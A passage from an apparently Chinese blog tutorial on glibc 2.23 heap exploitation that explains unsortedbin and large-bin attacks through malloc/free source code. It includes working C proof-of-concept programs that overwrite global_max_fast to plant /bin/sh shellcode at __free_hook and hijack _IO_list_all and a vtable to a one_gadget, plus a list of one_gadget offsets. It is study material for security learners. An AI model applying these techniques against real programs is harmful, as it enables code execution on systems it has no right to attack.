    }

  这些就够了,我们的堆块不属于mmap映射的内存,且不是fastbin,是smallbin,相邻堆块为占用态,因此控制流如上。可以看到这种情况下free的操作就是置位了下一个堆块的pre_inuse位,然后bck获取了unsortedbin的地址。接下来的:

  • p->fd = fwdp->bk = bck就是我们泄漏libc地址最常用的手法的原理;
  • bck->fd = pfwd->bk = p就是设置了unsortedbin list的bkfd指向我们刚刚free的smallbin。

  那么什么是unsortedbin呢?为什么我们要先了解他?unsortedbin是smallbin被放入malloc_state->bins这个空闲堆块表之前的一个中转站,刚被free的堆块不会立马被放入main_arena的bins中,而是先链入unsortedbin list备用以提高内存效率。只有在下一次调用malloc时且bins没有匹配到堆块时,才会执行unsortedbin清空,把堆块都放入bins里的操作,这些注释里也有提到。

  然后我们看第二个malloc(400)_int_malloc

  checked_request2size (bytes, nb);

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
  {
    //...
  }

  /*
     If a small request, check regular bin.  Since these "smallbins"
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          //...
        }
    }

  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              //...
            }

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

          /* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
          //...
        }
    }

  有些宏的意思就不放了,顾名思义也能猜出来的作用。接下来著名的unsortedbin attack的原理就在这了,是这两行:

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

  这里的victim就是我们释放的第一个堆块,其fd指针我们修改为了stack_var-0x10的地址处,因此bck就是stack_var-0x10,也就是说第二行代码相当于完成了一次[&stack_var-0x10+0x10] = &unsortedbin的任意地址写操作,但是这个操作也导致了unsortedbin listbk指针也被修改为了&stack_var,破坏了unsortedbin list,这样当我们分配新的smallbin或者largebin时程序就会崩溃,除非能修复(一般没这个机会了),不然只能使用fastbin了。

  然后_int_malloc就返回了我们第一次释放的堆块p,同时stack_var也已经被修改为了&unsortedbin list,完整的demo程序如下(这里提一句,要么一开始就用printf,不要在unsortedbin attack之后使用printf,因为_IO_FILE的初始化也会分配堆块,同样会触发unsortedbin list的检查异常):

#include <stdio.h>
#include <stdlib.h>

//直接用setvbuf保持堆区干净是最好的
void setbufs()
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

int main(){

    unsigned long stack_var=0;
    unsigned long *p=malloc(400);

    setbufs();
    //printf("hello,world!\n");

    p = malloc(400);
    malloc(500);

    free(p);
    p[1]=(unsigned long)(&stack_var-2);

    malloc(400);

    printf("stack_var: 0x%llx\n",stack_var);

    return 0;
}

exploit global_max_fast

  按照惯例,每次分析完了之后都要来一些甜品技术,这里就列一个利用unsortedbin attack任意地址写到global_max_fast来实现可控的利用吧,技术原理其实看过两部曲和上面这篇文章之后就可以理解了。

  我们之前看malloc分析的时候有一个全局变量叫global_max_fast,而且我们也知道就是这个变量设定了fastbin的最大大小,倘若我们通过某种手法把这个变量改的很大,那么我们接下来分配或者释放的堆块都会先进入fastbin的逻辑。回忆一下,main_arena中堆块表fastbinY和bins是什么时候被改写的?就是free的时候,用main_arena中堆块表中记录的堆块地址判断是否是同种size堆块的第一次释放,或者是根据记录进行被释放堆块的大小检查进而更新一下堆块的fd、bk指针,而其中fastbin的检查又最为简单,仅仅只是检查了一下是否存在double free。我们看如下_int_free中的fastbin部分的判断逻辑:

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
        If TRIM_FASTBINS set, don't place chunks
        bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    //...

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    set_fastchunks(av);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    do
      {
        /* Check that the top of the bin is not the record we are going to add
           (i.e., double free).  */
        if (__builtin_expect (old == p, 0))
          {
            errstr = "double free or corruption (fasttop)";
            goto errout;
          }
        /* Check that size of fastbin chunk at the top is the same as
           size of the chunk that we are adding.  We can dereference OLD
           only if we have the lock, otherwise it might have already been
           deallocated.  See use of OLD_IDX below for the actual check.  */
        if (have_lock && old != NULL)
          old_idx = fastbin_index(chunksize(old));
        p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

    if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
      {
        errstr = "invalid fastbin entry (free)";
        goto errout;
      }
  }

  可以看到我们几乎不需要考虑绕过这些检查,只要不double free就不会有问题。在这里:

p->fd = old2 = old;

  就是空闲fastbin的组织形式,每一个被free的fastbin的fd指向上一个堆块,bk不使用。当然是同大小的fastbin。然后后面的:

catomic_compare_and_exchange_val_rel (fb, p, old2)

  这里的fb指向我们的试图修改的数据,是我们释放的堆块的size经过fastbin_indexfastbin两个宏计算得到的地址,而p就是我们刚释放的堆块,然后完成了一个mov [fb],p的操作。如果堆块可以执行的话我们可以直接让fb指向__free_hook,然后在p上放上我们的shellcode就行了,不过注意这里的p是指向堆块头部而不是主体,而且之前的p->fd = old会重写fd,所以我们可以创建一个重叠堆块,在修改完__free_hook后覆盖p地址为shellcode,这样下次free的时候就能执行shellcode了。

  在实际中可以用来劫持vtable或者整个_IO_FILE结构,__free_hook的话可能遇不到可以直接执行shellcode的情况,但是这里就不展开讲了,因为这一节主要是讲unsortedbin,不能跑太偏,一切简单为主,global_max_fast的利用demo就放下面了:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

void setbufs()
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

// fastbin size convert to address
#define offset2size(x)  ((x)<<1)
#define ul unsigned long

unsigned char shellcode[]="\x48\x31\xc0\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

int main(){

    ul libc_base = 0;
    ul global_max_fast = 0;
    ul __free_hook = 0x3c67a8;
    ul main_arena = 0x3c4b20;
    ul *p, *p1, *p2, *p3, *p4;

    setbufs();

    p1 = malloc(0x100);
    p2 = malloc(0x20);

    free(p1);
    libc_base = *(ul*)p1;
    libc_base -= 0x3c4b78;
    global_max_fast = libc_base + 0x3c67f8;
    free(p2);
    printf("libc_base is :%lx\n", libc_base);
    printf("&(global_max_fast) is :%lx\n", global_max_fast);
    printf("global_max_fast is :%lx\n", *(ul*)global_max_fast);

    p1 = malloc(0x100);
    p2 = malloc(0x20);
    p3 = malloc(offset2size(__free_hook-main_arena));
    malloc(0x20);

    free(p1);
    p = (ul*)p1;
    //*(p+1) = (ul)&libc_base - sizeof(ul*)*2;
    //malloc(0x100);
    //printf("after unsorted-bin attack is :%lx\n", libc_base);

    *(p+1) = global_max_fast - sizeof(ul*)*2;
    malloc(0x100);
    printf("after unsorted-bin attack\n");
    printf("global_max_fast is :%lx\n", *(ul*)global_max_fast);

    free(p3);
    ul page = ((ul)p3-sizeof(ul*)*2)&(~0xFFF);
    mprotect((void*)page, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
    memcpy((void*)((ul)p3-sizeof(ul*)*2), shellcode, sizeof(shellcode));

    // do not malloc
    free(p2);

    return 0;
}

  就先这些吧,涉及_IO_FILE的下次再整合成另外一篇文章发,因为_IO_FILE的内容也挺多的,如果把所有利用技巧都放在一篇文章可能太庞大了,所以分为基础利用和进阶吧,那就这样了,下一章待续。


large-bin attack

  接下来就是large-bin attack环节了,这个应该也是常规堆利用手法里的最后一种了,large-bin attack的利用效果就是往任意地址写入一个堆地址,利用完了之后跟unsorted-bin attack一样链表就废了,只能利用一次。话不多说直接看demo,我略微改了一下shellphish的脚本:

#include<stdio.h>
#include<stdlib.h>

int main()
{
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    unsigned long *p1 = malloc(0x320);
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    malloc(0x20);

    unsigned long *p3 = malloc(0x410);
    malloc(0x20);

    // 得到两个unsorted-bin
    free(p1);
    free(p2);

    // p1和p2先被放入smallbin和largebin链表
    // 因为找不到合适大小的unsorted-bin,smallbin被拿出来切割
    // 又成为一块unsorted-bin,因此此时堆块结构为一块unsorted-bin和一块larrge-bin
    malloc(0x90);

    // 再得到一块unsorted-bin
    free(p3);

    p2[0] = 0;      // fd
    p2[2] = 0;      // fd_nextsize
    p2[1] = (unsigned long)(&stack_var1 - 2);       // bk
    p2[3] = (unsigned long)(&stack_var2 - 4);       // bk_nextsize

    // 第二块unsorted-bin被放入large-bin list
    // 发生large-bin attack
    malloc(0x90);

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}

  我们来看看相关的large-bin管理代码:

static void *
_int_malloc (mstate av, size_t bytes)
{
    //...
    for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
                    bck = victim->bk;
          size = chunksize (victim);

          //...

          if (in_smallbin_range (size))
            {
              //...
            }
          else
          {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        } 
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

  这些就是我们需要关注的,在本例中我们要链入的large-bin比在目前链表中的所有堆块都要大(虽然只有一个),插入在链表头部,因此要完成的操作如下:

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        //...
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

  fwd此时为已链表中的堆块地址,victim为正要链入的large堆块。指针都是指向堆块头部的,因此各个成员的偏移如下:

victim->fd_nextsize; // [victim + 0x20]
victim->bk_nextsize: // [victim + 0x28]
victim->bk;                      // [victim + 0x18]
victim->fd;                      // [victim + 0x10]

  fwd就是目前链表中的唯一的堆块,其各个指针已经被我们篡改过,因此large-bin attack最终完成额的操作相当于:

p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//victim->bk_nextsize->fd_nextsize = victim; 相当于
fwd->bk_nextsize->fd_nextsize = victim;   // *(&stack_var2 - 0x20 + 0x20) = victim;
// bck = fwd->bk;和bck->fd = victim;相当于
fwd->bk->fd = victim; // *(&stack_var1 - 0x10 + 0x10) = victim;

  因此最后两个变量都被修改为了堆地址,利用这一个large-bin attck我们可以劫持vtable_IO_FILE结构体啊等等等等,不过最好有个重叠堆块,不然在链入堆块的时候因为四个指针都会修改,会破坏原来布置好的数据。利用这一个技巧我们可以简单的劫持一下vtable试试:

#include<stdio.h>
#include<stdlib.h>

typedef unsigned long ul;

int main()
{
    void *p1, *p2, *p3, *p4;
    ul *p;
    ul libc_base = 0;
    ul one_gadget = 0xf1147;
    ul _IO_list_all = 0x3c5520;

    p1 = malloc(0x400);
    malloc(0x20);
    p2 = malloc(0x410);
    malloc(0x20);
    p3 = malloc(0x420);
    malloc(0x20);

    free(p1);
    free(p2);
    p = (ul*)p1;
    libc_base = *p - 0x3c4b78;

    malloc(0x20);
    free(p3);

    p = (ul*)p2;
    *p = 0;
    *(p+1) = libc_base + _IO_list_all - sizeof(void*)*2;
    *(p+2) = 0;
    *(p+3) = libc_base + _IO_list_all - sizeof(void*)*4;

    malloc(0x20);
    p = (ul*)((ul)p3 - sizeof(void*)*2);
    *p = 0;
    *(p + 4) = 0;  // IO_write_base
    *(p + 5) = 1;  // IO_write_ptr
    *(p + 27) = (ul)p;  // vtable
    *(p + 3) = libc_base + one_gadget;  // __overflow

    // trigger it
    free(p3);

    return 0;
}

/*
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
*/

  这个好像没啥甜品技术,反正要注意large-bin不但可以泄漏libc还可以泄漏堆地址,跟unsorted-bin不一样的地方就是往任意地址写的是堆地址,而不是unsorted-bin的地址。

发表评论

textsms
account_circle
email

All about fanda

GLIBC2.23下堆的基本利用(四重奏)
环境:glibc2.23 文件:利用demo 以后有时间了可能会做一个侧边目录23333 unsafe-unlink   看到这了我就假设你已经看过我的malloc四部曲和free了,接下来我们将利用这些利用技…
扫描二维码继续阅读
2019-11-18